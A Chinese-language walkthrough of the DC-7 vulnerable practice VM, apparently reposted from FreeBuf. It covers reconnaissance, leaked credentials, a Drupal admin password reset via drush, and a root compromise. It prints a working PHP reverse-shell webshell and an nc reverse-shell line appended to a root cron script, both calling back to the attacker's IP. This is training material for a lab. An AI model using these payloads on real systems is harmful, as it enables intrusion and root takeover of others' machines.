DC-7靶场实战详解
2022-3-25 21:27:39 Author: www.freebuf.com(查看原文) 阅读量:9 收藏

环境安装:

kali 和 DC-7 都为NAT模式 保证在同一个网段下 可以相互连通。

image-20220325195009768

信息收集

arp-scan -l     #扫描指定网卡下面的全部IP。

image-20220325195409805

通过扫描可以判断DC-7的IP为 192.168.79.132。

nmap -p 1-65535 192.168.79.132  #扫描全部端口探测开启的服务。

image-20220325195710245

可以清楚的看到,DC-7开启了 22 和 80端口。

浏览器访问80端口的http服务 http://192.168.79.132

image-20220325195933647

得到非常奇怪的提示 叫我们不需要暴力破解啥的。

我就不信邪,我就暴力刷目录,暴力破解后台账号密码,破解邮箱。然后一无所获。

image-20220325200212152

image-20220325200226809

也找了一些Drupal 8 的漏洞 但是好像都不符合。

image-20220325200312829

最后看来其他人的wp才知道秘密在这里。

image-20220325200347485

这个靶场属于git源码泄露。

直接google 搜索 @DC7USER。

image-20220325200710142

东西不就来了么。

image-20220325200733172

image-20220325200958944

一个一个找过去 可以看到。

image-20220325201027874

image-20220325201041628

里面记录了数据库账号密码 尝试后台登录发现不行。

但是可以登录ssh 有点邪门。

image-20220325201643634

获取后台账号密码

ls          #发现一个mbox文件 进去看看。
cat mbox

image-20220325202004276

发现里面有一个定时任务 用root 运行/opt/scripts/backups.sh。

image-20220325203802823.png

查看下权限什么的,发现www-data拥有执行和写的权限,我们当前权限没有写权限,看来没办法动手脚了。

但是如果我们获得了www-data的shell 那就可以写点东西进去,然后依靠计划任务,用root去运行,那么我们可以获得了root权限的shell了。

查看下 /opt/scripts/backups.sh 内容。

image-20220325202409637

可以看到命令是进入 cd /var/www/html/ 后执行drush。

然后去百度看看 drush是干什么呢?

Drush(Drush = Drupal + Shell)就是使用命令行命令来操作Drupal站点,它的命令格式与git类似,都是双字命令(drush + 实际的命令)。既然是命令行命令,也就可以使用其他脚本来实现相同的功能,比如编写shell脚本来实现相同的功能,也的确有不少人这样做过。但是,使用Drush要远优于编写自己的脚本,好处在于,一是可以利用Drush开发社区的力量,二是Drush的命令更加可靠,适用于更多变的环境。

https://www.howtoing.com/a-beginner-s-guide-to-drush-the-drupal-shell

这里有写一些drush基本语法。

drush user-password admin --password="new_pass" 
#想要更改您的密码?就这么简单。
#记得执行命令前先切换到Drupal的目录下面。
cd /var/www/html/
#Drupal默认账户是admin 123456为我修改的密码。
drush user-password admin --password="123456"

image-20220325203434674

这样子就修改成功了。

去后台登录下。

获得www-data的shell

登录后台。

image-20220325204319506

image-20220325204330422

进入到后台管理页面 然后就找写webshell的地方了。

image-20220325204426158

发现Content里面可以编辑文章。

image-20220325204509023

但是没办法用php执行,只可以用HTML执行 然后继续瞎点。

image-20220325204700436

发现Extend里面可以安装新模块 试试可不可以安装php。

php 插件下载地址
https://ftp.drupal.org/files/projects/php-8.x-1.x-dev.tar.gz

image-20220325205015689

直接安装即可。

image-20220325205034579

安装完成后当然要使用起来。

image-20220325205142935

image-20220325205149002

回到刚刚的文章编辑的地方。

image-20220325205238948

可以看到多了一个PHP解释器。

写入一个php 反弹shell的脚步。

<?php
$sock = fsockopen("192.168.79.128", "5555");
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);?>

image-20220325205351685

保存即可.

#记得开启nc侦听。
nc -lvvp 5555

image-20220325205523935

重新访问主网页就可以了。

image-20220325205615344

成功反弹shell。

python -c "import pty;pty.spawn('/bin/bash')"
#利用python 弄个交互页面

image-20220325205724908

提权

#向
/opt/scripts/backups.sh
#内写入反弹shell的脚本
#用bash nc都可以 我这里用的是nc
echo "nc 192.168.79.128 12345 -e /bin/bash" >> /opt/scripts/backups.sh
# 记得kali也要开启侦听
nc -lvvp 12345

image-20220325210204624

image-20220325210213640

要等比较久 要等他计划任务执行 ,这段时间可以去吃个饭什么的

我等了好久 好像都不行 然后我就把我DC-7重启了 就可以了

我等了一年了!!!

image-20220325211637052

获得FLAG


文章来源: https://www.freebuf.com/vuls/326359.html
如有侵权请联系:admin#unsafe.sh